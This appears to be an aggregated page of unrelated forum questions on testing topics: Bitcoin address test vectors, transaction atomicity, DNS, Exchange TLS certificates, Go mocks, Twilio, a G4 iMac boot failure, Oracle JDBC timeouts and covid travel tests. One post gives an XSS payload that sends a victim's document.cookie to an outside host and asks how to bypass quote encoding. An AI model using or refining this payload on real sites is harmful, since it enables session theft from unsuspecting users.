address – Script type test vectors

I’m looking for test vectors, assuming xpub or public key to derive various script type addresses out of it. Something along the line of https://bip32jp.github.io/english/ but not only for P2PKH, but all P2W and P2T types as well (ideally with P2SH types too). Is there a place to find them, or could someone post few of these vectors in the answer?

database – How to black-box test transaction atomicity?

Suppose we need to ensure that a sequence of database operations – currently implemented as A followed by B followed by C – executes either all together, or not at all. We can achieve this using a database transaction – but how can we write an automated test to verify that this atomicity property is satisfied, which is not brittle?

We can fairly easily write a white-box test for this: given that we know that A is executed first, then B, then C, we can write a test which injects a fake C and makes the fake C throw a runtime exception instead of issuing a database update query, to simulate a system crash. Then we catch that exception in the test, and assert that nothing in the database has changed since the test began running.

However, if a developer later comes along and rewrites the implementation to call C first, our test will become invalid – it will only test that “if nothing happens, then nothing happens” or in other words “if the system crashes immediately, then nothing will be written to the database”. Not a very useful test, and not testing what we want to test! This is because it’s a white-box test which is predicated on an assumption about the order of operations inside the implementation – namely, that C is executed last (or at least, not first).

Is it possible to avoid the test turning into a bogus test in this way if the order of database operations in the implementation is changed?

How to test DNS change on Mac before go live?

I need to test DNS changes before updating real DNS
I need to set up A records and CNAME

Any Mac software that let me do it and possibly easily switch ON / OFF?

domain name system – Error Hostname DOES NOT VERIFY – Test certificates TLS Exchange 2016 cu21

Practicing with the certificates, in let’s encrypt win-acme normal is created, I send and receive normal mail, https in owa and the other services

Testing with checktls, it gives me an alert message :

Cert Hostname DOES NOT VERIFY:

(mail.contoso.com != mail | DNS:mail | DNS:mail.lan.contoso.com)

I don’t understand the mail.lan.contoso.com DNS error.
I thought the error was the DNS SPLIT, but reading in the forum they comment on something about the error.

I understand that the other connectors should not be changed in forums, books and tutorials, nobody changes them. That is why a new connector is created to receive from the internet, to which the FQDN can be changed.

Recommendations of this forum, my dns settings :

Private AD DNS (lan.contoso.com)

Record Type DNS Name Internal IP
A mail.lan.contoso.com 192.168.1.4
A DC01.lan.contoso.com 192.168.1.3

Private DNS (contoso.com) SPLIT

Record Type DNS Name Internal IP
A mail.contoso.com 192.168.1.4
A autodiscover.contoso.com 192.168.1.4

Public DNS (contoso.com)

Record Type DNS Name Value
A mail.contoso.com xxx.xxx.xxx.xxx
A autodiscover.contoso.com xxx.xxx.xxx.xxx
MX @ mail.contoso.com

Mock/Reality consistency : unit test or integration test?

In a golang project, I have mocked external services. But in order to check that mocked services has the same behaviour as real services, I have done some common testing on the interface with both mock and real, so with real credentials.

Let’s say that I have :

repositories/serviceA/mock/mock.go
repositories/serviceA/mock/mock_test.go
repositories/serviceA/live/live.go
repositories/serviceA/live/live_test.go
repositories/serviceA/tests/tests.go

In each *_test.go i have imported tests from repositories/serviceA/tests/tests.go. However, in live_test.go, I have to give API_KEY and API_SECRET in order to test against the real API of the service I am mocking.

In repositories/serviceA/tests/tests.go, you can find tests like

func TestRead(s ServiceInterface)
func TestWrite(s ServiceInterface)
....

In repositories/serviceA/mock/mock_test.go, I would have:

func TestReadMock() {
    m := NewMock()
    tests.TestRead(m)
}

In repositories/serviceA/live/live_test.go, I would have:

func TestReadLive() {
    l := NewLive(API_KEY, API_SECRET)
    tests.TestRead(l)
}

My question is, should I integrate those tests with unit tests (as done in example) as they test each function of mock/real structs or with integration tests as they use credentials and test with real services ? It’s bugging me because it’s running with other mock tests but it is clearly unit testing.

Thanks for the insight ! 🙂

unit testing – How do I test a user recieving a text?

You’re using a third-party API, so you don’t need to test the functionality provided by that API. You need to test your interactions with that API.

One set of tests can be written against the API documentation. Looking at the documentation, what are the valid responses from the API? If you mock out the third-party API and replace it with mock responses, does your system behave as expected given the response?

Another set of tests can used captured actual responses from the API and ensure that your system is handling the actual messages. You could combine this with the first approach, as well and capture real responses in different sets of success and failure cases and use those in testing.

Some APIs also have test credentials. It appears that Twilo provides this. In some cases, they may have different, test-specific endpoints that they maintain to allow you to test different scenarios and get simulated responses. This can also be useful in test or other demonstration environments.

Regardless of how you test, you aren’t testing that Twilo is sending SMSes. You’re testing that your system is sending the expected messages to Twilo and handling any kind of responses back properly. Once the message is received by Twilo, they should have tests to ensure that their system is working as expected whenever they deploy changes and monitoring to make sure it’s continuing to function. It’s not a concern for your tests.

G4 iMac fails to boot from Apple Hardware Test: why?

I have a G4 iMac, 6,1 1GHz G4, 768 MB RAM, 80GB HD, 17″ display.

The internal optical drive no longer works.

I have installed MacOS 10.4 from DVD using a USB external optical drive and it seems to work fine.

The iMac passes all tests run by TechTool Deluxe v3.0.2, and passes all tests run by memtest as installed by Applejack 1.6.

I cannot install the original OS from the MacOS X 10.2.3 installer DVD which came with the iMac: the boot process fails with a “Can’t use this OS circle with a diagonal line” symbol https://support.apple.com/en-us/HT210901.

The Mac also fails to boot off the original Apple Hardware Test disc in the same external optical drive: the process begins, but fails and the G4 iMac ends up in Open Firmware, with this message (white on black):


Invalid memory access at %SRR0: ae0c0108 %SRR1: 0c01086f

Apple PowerMac6, 1 4.5.8f1 BootROM built on 01/13/03 at 22:37:37

Copyright 1993-2003 Apple Computer, Inc.

All Rights Reserved.

Welcome to Open Firmware, the system time and date is 19:06:32 06/05/2021

To continue booting, type “mac-boot” and press return.

To shut down, type “shut-down” and press return.

ok

0 > _


That final line is the prompt and cursor. If I then type mac-boot, I get the following error message (black on white):


Invalid memory access at %SRR0: 3cb80540 %SRR1: b8054018


My question is this: this Mac won’t boot into Apple Hardware Test. Does it look like that’s because the Mac has a hardware fault, or because the Apple Hardware Test disc only works properly in the internal optical drive?

I’d appreciate any relevant information.

penetration test – xss single quote

im trying to do a XSS attack test on a website.
I am using " and <> just fine and i have managed to scape the string.
now im trying too send my own cookie to my source code that saves it on a txt file.

I inject this code to send the cookie:

<script>document.location='http://khodrochi.unaux.com/khodrochi.php?x='+document.cookie;</script>

but the only problem is that it encode both single quotes (') and it changes to %27

is there anyway I can bypass this encode on single quotes or inject the code somehow without single quotes?

I’m trying to test a JDBC connection from an AWS EC2 instance to a Centos 7 server running Oracle 12.2.0.1 and the connection is hanging

At some point we are going to upgrade our 12.2.0.1 databases to 19c, so I am using the 19c client on the EC2 instance for the JDBC drivers. When I try connecting to a 19c database it works. I am using Java 1.8.0_291 and the ojdbc8.jar library from the 19c Oracle Client.

Is there a reason why ojdbc8.jar won’t connect to a 12cR2 database? Is there something that
I can add to my listener on my 12cR2 database or to my pom.xml file that will allow this to work. Obviously, I can install a 12cR2 client and test that next. But I would like to understand why this is an issue first. I added a start trace to the Main.java file and compiled it with a stack trace. It takes over 5 minutes before it times out. Even though I reduced the timeout in the Main.java file.

Thanks

aimtiaz11/oracle-jdbc-tester

17:42:15.668 (main) INFO Main - Logger Initialized
17:42:15.678 (main) INFO Main - arg 0 = <secret_username>
17:42:15.679 (main) INFO Main - arg 1 = <topsecretpassword>
17:42:15.679 (main) INFO Main - arg 2 = jdbc:oracle:thin:@//mydbserver:1521/SRVCNAME
17:42:15.971 (main) INFO Main - ****** Starting JDBC Connection test *******
17:42:15.971 (main) INFO Main - Open JDBC connection
17:58:11.578 (main) ERROR Main - Exception occurred connecting to database: IO Error: Connection timed out, Authentication lapse 0 ms.
17:58:11.580 (main) ERROR Main - Sql Exception
java.sql.SQLRecoverableException: IO Error: Connection timed out, Authentication lapse 0 ms.
        at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:874)
        at oracle.jdbc.driver.PhysicalConnection.connect(PhysicalConnection.java:793)
        at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:57)
        at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:747)
        at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:562)
        at java.sql.DriverManager.getConnection(DriverManager.java:664)
        at java.sql.DriverManager.getConnection(DriverManager.java:208)
        at Main.main(Main.java:38)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:498)
        at org.springframework.boot.loader.MainMethodRunner.run(MainMethodRunner.java:48)
        at org.springframework.boot.loader.Launcher.launch(Launcher.java:87)
        at org.springframework.boot.loader.Launcher.launch(Launcher.java:50)
        at org.springframework.boot.loader.JarLauncher.main(JarLauncher.java:51)
Caused by: java.io.IOException: Connection timed out, Authentication lapse 0 ms.
        at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:870)
        ... 15 common frames omitted
Caused by: java.io.IOException: Connection timed out
        at sun.nio.ch.FileDispatcherImpl.read0(Native Method)
        at sun.nio.ch.SocketDispatcher.read(SocketDispatcher.java:39)
        at sun.nio.ch.IOUtil.readIntoNativeBuffer(IOUtil.java:223)
        at sun.nio.ch.IOUtil.read(IOUtil.java:197)
        at sun.nio.ch.SocketChannelImpl.read(SocketChannelImpl.java:378)
        at oracle.net.nt.TimeoutSocketChannel.read(TimeoutSocketChannel.java:174)
        at oracle.net.ns.NSProtocolNIO.doSocketRead(NSProtocolNIO.java:555)
        at oracle.net.ns.NIOPacket.readHeader(NIOPacket.java:258)
        at oracle.net.ns.NIOPacket.readPacketFromSocketChannel(NIOPacket.java:190)
        at oracle.net.ns.NIOPacket.readFromSocketChannel(NIOPacket.java:132)
        at oracle.net.ns.NIOPacket.readFromSocketChannel(NIOPacket.java:105)
        at oracle.net.ns.NIONSDataChannel.readDataFromSocketChannel(NIONSDataChannel.java:91)
        at oracle.jdbc.driver.T4CMAREngineNIO.prepareForUnmarshall(T4CMAREngineNIO.java:764)
        at oracle.jdbc.driver.T4CMAREngineNIO.unmarshalUB1(T4CMAREngineNIO.java:429)
        at oracle.jdbc.driver.T4C8TTIdty.receive(T4C8TTIdty.java:736)
        at oracle.jdbc.driver.T4C8TTIdty.doRPC(T4C8TTIdty.java:647)
        at oracle.jdbc.driver.T4CConnection.connect(T4CConnection.java:1702)
        at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:588)
        ... 15 common frames omitted
17:58:11.581 (main) ERROR Main - exit 1

Do i need a day 2 covid test on entering croatia if i am fully vaccinated?

Does a fully vaccinated person need a day 2 test in Croatia?